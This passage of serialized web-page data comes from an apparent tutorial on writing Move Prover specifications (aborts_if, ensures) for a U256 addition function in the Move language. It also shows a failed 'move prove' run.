copy",{"type":23,"tag":481,"props":6900,"children":6901},{"style":525},[6902],{"type":28,"value":588},{"type":23,"tag":481,"props":6904,"children":6905},{"style":508},[6906],{"type":28,"value":6907},"drop",{"type":23,"tag":481,"props":6909,"children":6910},{"style":525},[6911],{"type":28,"value":588},{"type":23,"tag":481,"props":6913,"children":6914},{"style":508},[6915],{"type":28,"value":3417},{"type":23,"tag":481,"props":6917,"children":6918},{"style":525},[6919],{"type":28,"value":809},{"type":23,"tag":481,"props":6921,"children":6922},{"class":483,"line":351},[6923,6928,6932,6936],{"type":23,"tag":481,"props":6924,"children":6925},{"style":508},[6926],{"type":28,"value":6927}," v0",{"type":23,"tag":481,"props":6929,"children":6930},{"style":514},[6931],{"type":28,"value":287},{"type":23,"tag":481,"props":6933,"children":6934},{"style":943},[6935],{"type":28,"value":3336},{"type":23,"tag":481,"props":6937,"children":6938},{"style":525},[6939],{"type":28,"value":1033},{"type":23,"tag":481,"props":6941,"children":6942},{"class":483,"line":531},[6943,6948,6952,6956],{"type":23,"tag":481,"props":6944,"children":6945},{"style":508},[6946],{"type":28,"value":6947}," v1",{"type":23,"tag":481,"props":6949,"children":6950},{"style":514},[6951],{"type":28,"value":287},{"type":23,"tag":481,"props":6953,"children":6954},{"style":943},[6955],{"type":28,"value":3336},{"type":23,"tag":481,"props":6957,"children":6958},{"style":525},[6959],{"type":28,"value":1033},{"type":23,"tag":481,"props":6961,"children":6962},{"class":483,"line":567},[6963,6968,6972,6976],{"type":23,"tag":481,"props":6964,"children":6965},{"style":508},[6966],{"type":28,"value":6967}," v2",{"type":23,"tag":481,"props":6969,"children":6970},{"style":514},[6971],{"type":28,"value":287},{"type":23,"tag":481,"props":6973,"children":6974},{"style":943},[6975],{"type":28,"value":3336},{"type":23,"tag":481,"props":6977,"children":6978},{"style":525},[6979],{"type":28,"value":1033},{"type":23,"tag":481,"props":6981,"children":6982},{"class":483,"line":678},[6983,6988,6992,6996],{"type":23,"tag":481,"props":6984,"children":6985},{"style":508},[6986],{"type":28,"value":6987}," v3",{"type":23,"tag":481,"props":6989,"children":6990},{"style":514},[6991],{"type":28,"value":287},{"type":23,"tag":481,"props":6993,"children":6994},{"style":943},[6995],{"type":28,"value":3336},{"type":23,"tag":481,"props":6997,"children":6998},{"style":525},[6999],{"type":28,"value":1033},{"type":23,"tag":481,"props":7001,"children":7002},{"class":483,"line":784},[7003],{"type":23,"tag":481,"props":7004,"children":7005},{"style":525},[7006],{"type":28,"value":1443},{"type":23,"tag":24,"props":7008,"children":7009},{},[7010,7012,7018],{"type":28,"value":7011},"Now, let's consider the ",{"type":23,"tag":64,"props":7013,"children":7015},{"className":7014},[],[7016],{"type":28,"value":7017},"add(a: U256, b: U256): U256",{"type":28,"value":7019}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":24,"props":7021,"children":7022},{},[7023],{"type":28,"value":7024},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":24,"props":7026,"children":7027},{},[7028,7030,7036,7038,7045],{"type":28,"value":7029},"For example, if your file is ",{"type":23,"tag":64,"props":7031,"children":7033},{"className":7032},[],[7034],{"type":28,"value":7035},"sources/u256.move",{"type":28,"value":7037},", you can put specifications in ",{"type":23,"tag":190,"props":7039,"children":7042},{"href":7040,"rel":7041},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[194],[7043],{"type":28,"value":7044},"sources/u256.spec.move",{"type":28,"value":199},{"type":23,"tag":435,"props":7047,"children":7049},{"code":7048,"language":474,"meta":7,"className":475,"style":7},"spec add { ... }\n",[7050],{"type":23,"tag":64,"props":7051,"children":7052},{"__ignoreMap":7},[7053],{"type":23,"tag":481,"props":7054,"children":7055},{"class":483,"line":484},[7056,7060,7065,7070,7075],{"type":23,"tag":481,"props":7057,"children":7058},{"style":508},[7059],{"type":28,"value":5754},{"type":23,"tag":481,"props":7061,"children":7062},{"style":508},[7063],{"type":28,"value":7064}," add",{"type":23,"tag":481,"props":7066,"children":7067},{"style":525},[7068],{"type":28,"value":7069}," { ",{"type":23,"tag":481,"props":7071,"children":7072},{"style":514},[7073],{"type":28,"value":7074},"...",{"type":23,"tag":481,"props":7076,"children":7077},{"style":525},[7078],{"type":28,"value":7079}," }\n",{"type":23,"tag":24,"props":7081,"children":7082},{},[7083,7085,7090],{"type":28,"value":7084},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":127,"props":7086,"children":7087},{},[7088],{"type":28,"value":7089},"Expressions",{"type":28,"value":199},{"type":23,"tag":7092,"props":7093,"children":7095},"h3",{"id":7094},"expressions",[7096],{"type":28,"value":7089},{"type":23,"tag":24,"props":7098,"children":7099},{},[7100],{"type":28,"value":7101},"Let's go over some common expressions.",{"type":23,"tag":24,"props":7103,"children":7104},{},[7105,7110],{"type":23,"tag":64,"props":7106,"children":7108},{"className":7107},[],[7109],{"type":28,"value":5804},{"type":28,"value":7111}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":24,"props":7113,"children":7114},{},[7115,7117,7123],{"type":28,"value":7116},"For example, the ",{"type":23,"tag":64,"props":7118,"children":7120},{"className":7119},[],[7121],{"type":28,"value":7122},"add",{"type":28,"value":7124}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":435,"props":7126,"children":7128},{"code":7127,"language":474,"meta":7,"className":475,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[7129],{"type":23,"tag":64,"props":7130,"children":7131},{"__ignoreMap":7},[7132,7166,7173,7222,7244,7273,7310,7351,7358,7365,7380,7461],{"type":23,"tag":481,"props":7133,"children":7134},{"class":483,"line":484},[7135,7140,7145,7149,7153,7157,7162],{"type":23,"tag":481,"props":7136,"children":7137},{"style":497},[7138],{"type":28,"value":7139},"const",{"type":23,"tag":481,"props":7141,"children":7142},{"style":525},[7143],{"type":28,"value":7144}," P64",{"type":23,"tag":481,"props":7146,"children":7147},{"style":514},[7148],{"type":28,"value":287},{"type":23,"tag":481,"props":7150,"children":7151},{"style":943},[7152],{"type":28,"value":6327},{"type":23,"tag":481,"props":7154,"children":7155},{"style":514},[7156],{"type":28,"value":517},{"type":23,"tag":481,"props":7158,"children":7159},{"style":551},[7160],{"type":28,"value":7161}," 0x10000000000000000",{"type":23,"tag":481,"props":7163,"children":7164},{"style":525},[7165],{"type":28,"value":528},{"type":23,"tag":481,"props":7167,"children":7168},{"class":483,"line":351},[7169],{"type":23,"tag":481,"props":7170,"children":7171},{"emptyLinePlaceholder":15},[7172],{"type":28,"value":1210},{"type":23,"tag":481,"props":7174,"children":7175},{"class":483,"line":531},[7176,7180,7184,7189,7193,7197,7201,7205,7209,7213,7218],{"type":23,"tag":481,"props":7177,"children":7178},{"style":508},[7179],{"type":28,"value":5754},{"type":23,"tag":481,"props":7181,"children":7182},{"style":508},[7183],{"type":28,"value":3684},{"type":23,"tag":481,"props":7185,"children":7186},{"style":610},[7187],{"type":28,"value":7188}," value_of_U256",{"type":23,"tag":481,"props":7190,"children":7191},{"style":525},[7192],{"type":28,"value":618},{"type":23,"tag":481,"props":7194,"children":7195},{"style":508},[7196],{"type":28,"value":190},{"type":23,"tag":481,"props":7198,"children":7199},{"style":514},[7200],{"type":28,"value":287},{"type":23,"tag":481,"props":7202,"children":7203},{"style":943},[7204],{"type":28,"value":2280},{"type":23,"tag":481,"props":7206,"children":7207},{"style":525},[7208],{"type":28,"value":642},{"type":23,"tag":481,"props":7210,"children":7211},{"style":514},[7212],{"type":28,"value":287},{"type":23,"tag":481,"props":7214,"children":7215},{"style":508},[7216],{"type":28,"value":7217}," num",{"type":23,"tag":481,"props":7219,"children":7220},{"style":525},[7221],{"type":28,"value":809},{"type":23,"tag":481,"props":7223,"children":7224},{"class":483,"line":567},[7225,7230,7234,7239],{"type":23,"tag":481,"props":7226,"children":7227},{"style":508},[7228],{"type":28,"value":7229}," a",{"type":23,"tag":481,"props":7231,"children":7232},{"style":514},[7233],{"type":28,"value":199},{"type":23,"tag":481,"props":7235,"children":7236},{"style":525},[7237],{"type":28,"value":7238},"v0 ",{"type":23,"tag":481,"props":7240,"children":7241},{"style":514},[7242],{"type":28,"value":7243},"+\n",{"type":23,"tag":481,"props":7245,"children":7246},{"class":483,"line":678},[7247,7251,7255,7260,7264,7268],{"type":23,"tag":481,"props":7248,"children":7249},{"style":508},[7250],{"type":28,"value":7229},{"type":23,"tag":481,"props":7252,"children":7253},{"style":514},[7254],{"type":28,"value":199},{"type":23,"tag":481,"props":7256,"children":7257},{"style":525},[7258],{"type":28,"value":7259},"v1 ",{"type":23,"tag":481,"props":7261,"children":7262},{"style":514},[7263],{"type":28,"value":2120},{"type":23,"tag":481,"props":7265,"children":7266},{"style":943},[7267],{"type":28,"value":7144},{"type":23,"tag":481,"props":7269,"children":7270},{"style":514},[7271],{"type":28,"value":7272}," +\n",{"type":23,"tag":481,"props":7274,"children":7275},{"class":483,"line":784},[7276,7280,7284,7289,7293,7297,7302,7306],{"type":23,"tag":481,"props":7277,"children":7278},{"style":508},[7279],{"type":28,"value":7229},{"type":23,"tag":481,"props":7281,"children":7282},{"style":514},[7283],{"type":28,"value":199},{"type":23,"tag":481,"props":7285,"children":7286},{"style":525},[7287],{"type":28,"value":7288},"v2 ",{"type":23,"tag":481,"props":7290,"children":7291},{"style":514},[7292],{"type":28,"value":2120},{"type":23,"tag":481,"props":7294,"children":7295},{"style":943},[7296],{"type":28,"value":7144},{"type":23,"tag":481,"props":7298,"children":7299},{"style":514},[7300],{"type":28,"value":7301}," *",{"type":23,"tag":481,"props":7303,"children":7304},{"style":943},[7305],{"type":28,"value":7144},{"type":23,"tag":481,"props":7307,"children":7308},{"style":514},[7309],{"type":28,"value":7272},{"type":23,"tag":481,"props":7311,"children":7312},{"class":483,"line":812},[7313,7317,7321,7326,7330,7334,7338,7342,7346],{"type":23,"tag":481,"props":7314,"children":7315},{"style":508},[7316],{"type":28,"value":7229},{"type":23,"tag":481,"props":7318,"children":7319},{"style":514},[7320],{"type":28,"value":199},{"type":23,"tag":481,"props":7322,"children":7323},{"style":525},[7324],{"type":28,"value":7325},"v3 ",{"type":23,"tag":481,"props":7327,"children":7328},{"style":514},[7329],{"type":28,"value":2120},{"type":23,"tag":481,"props":7331,"children":7332},{"style":943},[7333],{"type":28,"value":7144},{"type":23,"tag":481,"props":7335,"children":7336},{"style":514},[7337],{"type":28,"value":7301},{"type":23,"tag":481,"props":7339,"children":7340},{"style":943},[7341],{"type":28,"value":7144},{"type":23,"tag":481,"props":7343,"children":7344},{"style":514},[7345],{"type":28,"value":7301},{"type":23,"tag":481,"props":7347,"children":7348},{"style":943},[7349],{"type":28,"value":7350}," P64\n",{"type":23,"tag":481,"props":7352,"children":7353},{"class":483,"line":825},[7354],{"type":23,"tag":481,"props":7355,"children":7356},{"style":525},[7357],{"type":28,"value":1443},{"type":23,"tag":481,"props":7359,"children":7360},{"class":483,"line":843},[7361],{"type":23,"tag":481,"props":7362,"children":7363},{"emptyLinePlaceholder":15},[7364],{"type":28,"value":1210},{"type":23,"tag":481,"props":7366,"children":7367},{"class":483,"line":864},[7368,7372,7376],{"type":23,"tag":481,"props":7369,"children":7370},{"style":508},[7371],{"type":28,"value":5754},{"type":23,"tag":481,"props":7373,"children":7374},{"style":508},[7375],{"type":28,"value":7064},{"type":23,"tag":481,"props":7377,"children":7378},{"style":525},[7379],{"type":28,"value":809},{"type":23,"tag":481,"props":7381,"children":7382},{"class":483,"line":873},[7383,7388,7392,7396,7400,7404,7408,7412,7416,7420,7424,7429,7433,7437,7441,7445,7449,7453,7457],{"type":23,"tag":481,"props":7384,"children":7385},{"style":508},[7386],{"type":28,"value":7387}," aborts_if",{"type":23,"tag":481,"props":7389,"children":7390},{"style":610},[7391],{"type":28,"value":7188},{"type":23,"tag":481,"props":7393,"children":7394},{"style":525},[7395],{"type":28,"value":618},{"type":23,"tag":481,"props":7397,"children":7398},{"style":508},[7399],{"type":28,"value":190},{"type":23,"tag":481,"props":7401,"children":7402},{"style":525},[7403],{"type":28,"value":598},{"type":23,"tag":481,"props":7405,"children":7406},{"style":514},[7407],{"type":28,"value":1930},{"type":23,"tag":481,"props":7409,"children":7410},{"style":610},[7411],{"type":28,"value":7188},{"type":23,"tag":481,"props":7413,"children":7414},{"style":525},[7415],{"type":28,"value":618},{"type":23,"tag":481,"props":7417,"children":7418},{"style":508},[7419],{"type":28,"value":739},{"type":23,"tag":481,"props":7421,"children":7422},{"style":525},[7423],{"type":28,"value":598},{"type":23,"tag":481,"props":7425,"children":7426},{"style":514},[7427],{"type":28,"value":7428},">=",{"type":23,"tag":481,"props":7430,"children":7431},{"style":943},[7432],{"type":28,"value":7144},{"type":23,"tag":481,"props":7434,"children":7435},{"style":514},[7436],{"type":28,"value":7301},{"type":23,"tag":481,"props":7438,"children":7439},{"style":943},[7440],{"type":28,"value":7144},{"type":23,"tag":481,"props":7442,"children":7443},{"style":514},[7444],{"type":28,"value":7301},{"type":23,"tag":481,"props":7446,"children":7447},{"style":943},[7448],{"type":28,"value":7144},{"type":23,"tag":481,"props":7450,"children":7451},{"style":514},[7452],{"type":28,"value":7301},{"type":23,"tag":481,"props":7454,"children":7455},{"style":943},[7456],{"type":28,"value":7144},{"type":23,"tag":481,"props":7458,"children":7459},{"style":525},[7460],{"type":28,"value":528},{"type":23,"tag":481,"props":7462,"children":7463},{"class":483,"line":1125},[7464],{"type":23,"tag":481,"props":7465,"children":7466},{"style":525},[7467],{"type":28,"value":1443},{"type":23,"tag":24,"props":7469,"children":7470},{},[7471,7473,7480],{"type":28,"value":7472},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":190,"props":7474,"children":7477},{"href":7475,"rel":7476},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[194],[7478],{"type":28,"value":7479},"MSL function",{"type":28,"value":7481},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":24,"props":7483,"children":7484},{},[7485,7487,7492,7493,7498],{"type":28,"value":7486},"A common pattern for ",{"type":23,"tag":64,"props":7488,"children":7490},{"className":7489},[],[7491],{"type":28,"value":5804},{"type":28,"value":140},{"type":23,"tag":64,"props":7494,"children":7496},{"className":7495},[],[7497],{"type":28,"value":5812},{"type":28,"value":7499},", which lets you prove that a function will never abort.",{"type":23,"tag":435,"props":7501,"children":7503},{"code":7502,"language":474,"meta":7,"className":475,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[7504],{"type":23,"tag":64,"props":7505,"children":7506},{"__ignoreMap":7},[7507,7523,7538],{"type":23,"tag":481,"props":7508,"children":7509},{"class":483,"line":484},[7510,7514,7519],{"type":23,"tag":481,"props":7511,"children":7512},{"style":508},[7513],{"type":28,"value":5754},{"type":23,"tag":481,"props":7515,"children":7516},{"style":508},[7517],{"type":28,"value":7518}," critical_function",{"type":23,"tag":481,"props":7520,"children":7521},{"style":525},[7522],{"type":28,"value":809},{"type":23,"tag":481,"props":7524,"children":7525},{"class":483,"line":351},[7526,7530,7534],{"type":23,"tag":481,"props":7527,"children":7528},{"style":508},[7529],{"type":28,"value":7387},{"type":23,"tag":481,"props":7531,"children":7532},{"style":497},[7533],{"type":28,"value":6539},{"type":23,"tag":481,"props":7535,"children":7536},{"style":525},[7537],{"type":28,"value":528},{"type":23,"tag":481,"props":7539,"children":7540},{"class":483,"line":531},[7541],{"type":23,"tag":481,"props":7542,"children":7543},{"style":525},[7544],{"type":28,"value":1443},{"type":23,"tag":24,"props":7546,"children":7547},{},[7548,7550,7556],{"type":28,"value":7549},"Another type of expression that we can use is ",{"type":23,"tag":64,"props":7551,"children":7553},{"className":7552},[],[7554],{"type":28,"value":7555},"ensures",{"type":28,"value":7557},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":24,"props":7559,"children":7560},{},[7561,7563,7568,7570,7575],{"type":28,"value":7562},"In the case of the ",{"type":23,"tag":64,"props":7564,"children":7566},{"className":7565},[],[7567],{"type":28,"value":7122},{"type":28,"value":7569}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":2875,"props":7571,"children":7572},{},[7573],{"type":28,"value":7574},"MSL uses unbounded numbers",{"type":28,"value":7576},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":435,"props":7578,"children":7580},{"code":7579,"language":474,"meta":7,"className":475,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[7581],{"type":23,"tag":64,"props":7582,"children":7583},{"__ignoreMap":7},[7584,7599,7678,7742],{"type":23,"tag":481,"props":7585,"children":7586},{"class":483,"line":484},[7587,7591,7595],{"type":23,"tag":481,"props":7588,"children":7589},{"style":508},[7590],{"type":28,"value":5754},{"type":23,"tag":481,"props":7592,"children":7593},{"style":508},[7594],{"type":28,"value":7064},{"type":23,"tag":481,"props":7596,"children":7597},{"style":525},[7598],{"type":28,"value":809},{"type":23,"tag":481,"props":7600,"children":7601},{"class":483,"line":351},[7602,7606,7610,7614,7618,7622,7626,7630,7634,7638,7642,7646,7650,7654,7658,7662,7666,7670,7674],{"type":23,"tag":481,"props":7603,"children":7604},{"style":508},[7605],{"type":28,"value":7387},{"type":23,"tag":481,"props":7607,"children":7608},{"style":610},[7609],{"type":28,"value":7188},{"type":23,"tag":481,"props":7611,"children":7612},{"style":525},[7613],{"type":28,"value":618},{"type":23,"tag":481,"props":7615,"children":7616},{"style":508},[7617],{"type":28,"value":190},{"type":23,"tag":481,"props":7619,"children":7620},{"style":525},[7621],{"type":28,"value":598},{"type":23,"tag":481,"props":7623,"children":7624},{"style":514},[7625],{"type":28,"value":1930},{"type":23,"tag":481,"props":7627,"children":7628},{"style":610},[7629],{"type":28,"value":7188},{"type":23,"tag":481,"props":7631,"children":7632},{"style":525},[7633],{"type":28,"value":618},{"type":23,"tag":481,"props":7635,"children":7636},{"style":508},[7637],{"type":28,"value":739},{"type":23,"tag":481,"props":7639,"children":7640},{"style":525},[7641],{"type":28,"value":598},{"type":23,"tag":481,"props":7643,"children":7644},{"style":514},[7645],{"type":28,"value":7428},{"type":23,"tag":481,"props":7647,"children":7648},{"style":943},[7649],{"type":28,"value":7144},{"type":23,"tag":481,"props":7651,"children":7652},{"style":514},[7653],{"type":28,"value":7301},{"type":23,"tag":481,"props":7655,"children":7656},{"style":943},[7657],{"type":28,"value":7144},{"type":23,"tag":481,"props":7659,"children":7660},{"style":514},[7661],{"type":28,"value":7301},{"type":23,"tag":481,"props":7663,"children":7664},{"style":943},[7665],{"type":28,"value":7144},{"type":23,"tag":481,"props":7667,"children":7668},{"style":514},[7669],{"type":28,"value":7301},{"type":23,"tag":481,"props":7671,"children":7672},{"style":943},[7673],{"type":28,"value":7144},{"type":23,"tag":481,"props":7675,"children":7676},{"style":525},[7677],{"type":28,"value":528},{"type":23,"tag":481,"props":7679,"children":7680},{"class":483,"line":531},[7681,7686,7690,7694,7698,7702,7706,7710,7714,7718,7722,7726,7730,7734,7738],{"type":23,"tag":481,"props":7682,"children":7683},{"style":508},[7684],{"type":28,"value":7685}," ensures",{"type":23,"tag":481,"props":7687,"children":7688},{"style":610},[7689],{"type":28,"value":7188},{"type":23,"tag":481,"props":7691,"children":7692},{"style":525},[7693],{"type":28,"value":618},{"type":23,"tag":481,"props":7695,"children":7696},{"style":508},[7697],{"type":28,"value":6564},{"type":23,"tag":481,"props":7699,"children":7700},{"style":525},[7701],{"type":28,"value":598},{"type":23,"tag":481,"props":7703,"children":7704},{"style":514},[7705],{"type":28,"value":6055},{"type":23,"tag":481,"props":7707,"children":7708},{"style":610},[7709],{"type":28,"value":7188},{"type":23,"tag":481,"props":7711,"children":7712},{"style":525},[7713],{"type":28,"value":618},{"type":23,"tag":481,"props":7715,"children":7716},{"style":508},[7717],{"type":28,"value":190},{"type":23,"tag":481,"props":7719,"children":7720},{"style":525},[7721],{"type":28,"value":598},{"type":23,"tag":481,"props":7723,"children":7724},{"style":514},[7725],{"type":28,"value":1930},{"type":23,"tag":481,"props":7727,"children":7728},{"style":610},[7729],{"type":28,"value":7188},{"type":23,"tag":481,"props":7731,"children":7732},{"style":525},[7733],{"type":28,"value":618},{"type":23,"tag":481,"props":7735,"children":7736},{"style":508},[7737],{"type":28,"value":739},{"type":23,"tag":481,"props":7739,"children":7740},{"style":525},[7741],{"type":28,"value":1366},{"type":23,"tag":481,"props":7743,"children":7744},{"class":483,"line":567},[7745],{"type":23,"tag":481,"props":7746,"children":7747},{"style":525},[7748],{"type":28,"value":1443},{"type":23,"tag":24,"props":7750,"children":7751},{},[7752],{"type":28,"value":7753},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":24,"props":7755,"children":7756},{},[7757],{"type":28,"value":7758},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":435,"props":7760,"children":7762},{"code":7761,"language":1790,"meta":7,"className":1791,"style":7},"$ move prove\n",[7763],{"type":23,"tag":64,"props":7764,"children":7765},{"__ignoreMap":7},[7766],{"type":23,"tag":481,"props":7767,"children":7768},{"class":483,"line":484},[7769,7774,7779],{"type":23,"tag":481,"props":7770,"children":7771},{"style":610},[7772],{"type":28,"value":7773},"$",{"type":23,"tag":481,"props":7775,"children":7776},{"style":1805},[7777],{"type":28,"value":7778}," move",{"type":23,"tag":481,"props":7780,"children":7781},{"style":1805},[7782],{"type":28,"value":7783}," prove\n",{"type":23,"tag":24,"props":7785,"children":7786},{},[7787],{"type":28,"value":7788},"It outputs the following error information:",{"type":23,"tag":435,"props":7790,"children":7792},{"code":7791,"language":1790,"meta":7,"className":1791,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[7793],{"type":23,"tag":64,"props":7794,"children":7795},{"__ignoreMap":7},[7796,7804,7811,7873,7894,7984,8052,8064,8072,8079,8086,8093,8111,8172,8189,8206,8278,8294,8302,8309,8359,8367,8384],{"type":23,"tag":481,"props":7797,"children":7798},{"class":483,"line":484},[7799],{"type":23,"tag":481,"props":7800,"children":7801},{"style":525},[7802],{"type":28,"value":7803},"[...]\n",{"type":23,"tag":481,"props":7805,"children":7806},{"class":483,"line":351},[7807],{"type":23,"tag":481,"props":7808,"children":7809},{"emptyLinePlaceholder":15},[7810],{"type":28,"value":1210},{"type":23,"tag":481,"props":7812,"children":7813},{"class":483,"line":531},[7814,7819,7824,7829,7834,7839,7844,7849,7854,7859,7863,7868],{"type":23,"tag":481,"props":7815,"children":7816},{"style":610},[7817],{"type":28,"value":7818},"error:",{"type":23,"tag":481,"props":7820,"children":7821},{"style":1805},[7822],{"type":28,"value":7823}," abort",{"type":23,"tag":481,"props":7825,"children":7826},{"style":1805},[7827],{"type":28,"value":7828}," not",{"type":23,"tag":481,"props":7830,"children":7831},{"style":1805},[7832],{"type":28,"value":7833}," covered",{"type":23,"tag":481,"props":7835,"children":7836},{"style":1805},[7837],{"type":28,"value":7838}," by",{"type":23,"tag":481,"props":7840,"children":7841},{"style":1805},[7842],{"type":28,"value":7843}," any",{"type":23,"tag":481,"props":7845,"children":7846},{"style":1805},[7847],{"type":28,"value":7848}," of",{"type":23,"tag":481,"props":7850,"children":7851},{"style":1805},[7852],{"type":28,"value":7853}," the",{"type":23,"tag":481,"props":7855,"children":7856},{"style":1805},[7857],{"type":28,"value":7858}," `",{"type":23,"tag":481,"props":7860,"children":7861},{"style":610},[7862],{"type":28,"value":5804},{"type":23,"tag":481,"props":7864,"children":7865},{"style":1805},[7866],{"type":28,"value":7867},"`",{"type":23,"tag":481,"props":7869,"children":7870},{"style":610},[7871],{"type":28,"value":7872}," clauses\n",{"type":23,"tag":481,"props":7874,"children":7875},{"class":483,"line":567},[7876,7881,7886,7890],{"type":23,"tag":481,"props":7877,"children":7878},{"style":610},[7879],{"type":28,"value":7880},"╭",{"type":23,"tag":481,"props":7882,"children":7883},{"style":1805},[7884],{"type":28,"value":7885}," spec",{"type":23,"tag":481,"props":7887,"children":7888},{"style":1805},[7889],{"type":28,"value":7064},{"type":23,"tag":481,"props":7891,"children":7892},{"style":1805},[7893],{"type":28,"value":809},{"type":23,"tag":481,"props":7895,"children":7896},{"class":483,"line":678},[7897,7902,7907,7911,7915,7919,7923,7927,7931,7935,7939,7943,7948,7952,7956,7960,7964,7968,7972,7976,7980],{"type":23,"tag":481,"props":7898,"children":7899},{"style":514},[7900],{"type":28,"value":7901},"|",{"type":23,"tag":481,"props":7903,"children":7904},{"style":610},[7905],{"type":28,"value":7906}," aborts_if",{"type":23,"tag":481,"props":7908,"children":7909},{"style":1805},[7910],{"type":28,"value":7188},{"type":23,"tag":481,"props":7912,"children":7913},{"style":525},[7914],{"type":28,"value":618},{"type":23,"tag":481,"props":7916,"children":7917},{"style":610},[7918],{"type":28,"value":190},{"type":23,"tag":481,"props":7920,"children":7921},{"style":525},[7922],{"type":28,"value":598},{"type":23,"tag":481,"props":7924,"children":7925},{"style":1805},[7926],{"type":28,"value":1930},{"type":23,"tag":481,"props":7928,"children":7929},{"style":1805},[7930],{"type":28,"value":7188},{"type":23,"tag":481,"props":7932,"children":7933},{"style":525},[7934],{"type":28,"value":618},{"type":23,"tag":481,"props":7936,"children":7937},{"style":610},[7938],{"type":28,"value":739},{"type":23,"tag":481,"props":7940,"children":7941},{"style":525},[7942],{"type":28,"value":598},{"type":23,"tag":481,"props":7944,"children":7945},{"style":514},[7946],{"type":28,"value":7947},">",{"type":23,"tag":481,"props":7949,"children":7950},{"style":1805},[7951],{"type":28,"value":603},{"type":23,"tag":481,"props":7953,"children":7954},{"style":1805},[7955],{"type":28,"value":7144},{"type":23,"tag":481,"props":7957,"children":7958},{"style":497},[7959],{"type":28,"value":7301},{"type":23,"tag":481,"props":7961,"children":7962},{"style":1805},[7963],{"type":28,"value":7144},{"type":23,"tag":481,"props":7965,"children":7966},{"style":497},[7967],{"type":28,"value":7301},{"type":23,"tag":481,"props":7969,"children":7970},{"style":1805},[7971],{"type":28,"value":7144},{"type":23,"tag":481,"props":7973,"children":7974},{"style":497},[7975],{"type":28,"value":7301},{"type":23,"tag":481,"props":7977,"children":7978},{"style":1805},[7979],{"type":28,"value":7144},{"type":23,"tag":481,"props":7981,"children":7982},{"style":525},[7983],{"type":28,"value":528},{"type":23,"tag":481,"props":7985,"children":7986},{"class":483,"line":784},[7987,7991,7996,8000,8004,8008,8012,8016,8020,8024,8028,8032,8036,8040,8044,8048],{"type":23,"tag":481,"props":7988,"children":7989},{"style":514},[7990],{"type":28,"value":7901},{"type":23,"tag":481,"props":7992,"children":7993},{"style":610},[7994],{"type":28,"value":7995}," ensures",{"type":23,"tag":481,"props":7997,"children":7998},{"style":1805},[7999],{"type":28,"value":7188},{"type":23,"tag":481,"props":8001,"children":8002},{"style":525},[8003],{"type":28,"value":618},{"type":23,"tag":481,"props":8005,"children":8006},{"style":610},[8007],{"type":28,"value":6564},{"type":23,"tag":481,"props":8009,"children":8010},{"style":525},[8011],{"type":28,"value":598},{"type":23,"tag":481,"props":8013,"children":8014},{"style":1805},[8015],{"type":28,"value":6055},{"type":23,"tag":481,"props":8017,"children":8018},{"style":1805},[8019],{"type":28,"value":7188},{"type":23,"tag":481,"props":8021,"children":8022},{"style":525},[8023],{"type":28,"value":618},{"type":23,"tag":481,"props":8025,"children":8026},{"style":610},[8027],{"type":28,"value":190},{"type":23,"tag":481,"props":8029,"children":8030},{"style":525},[8031],{"type":28,"value":598},{"type":23,"tag":481,"props":8033,"children":8034},{"style":1805},[8035],{"type":28,"value":1930},{"type":23,"tag":481,"props":8037,"children":8038},{"style":1805},[8039],{"type":28,"value":7188},{"type":23,"tag":481,"props":8041,"children":8042},{"style":525},[8043],{"type":28,"value":618},{"type":23,"tag":481,"props":8045,"children":8046},{"style":610},[8047],{"type":28,"value":739},{"type":23,"tag":481,"props":8049,"children":8050},{"style":525},[8051],{"type":28,"value":1366},{"type":23,"tag":481,"props":8053,"children":8054},{"class":483,"line":812},[8055,8059],{"type":23,"tag":481,"props":8056,"children":8057},{"style":514},[8058],{"type":28,"value":7901},{"type":23,"tag":481,"props":8060,"children":8061},{"style":525},[8062],{"type":28,"value":8063}," 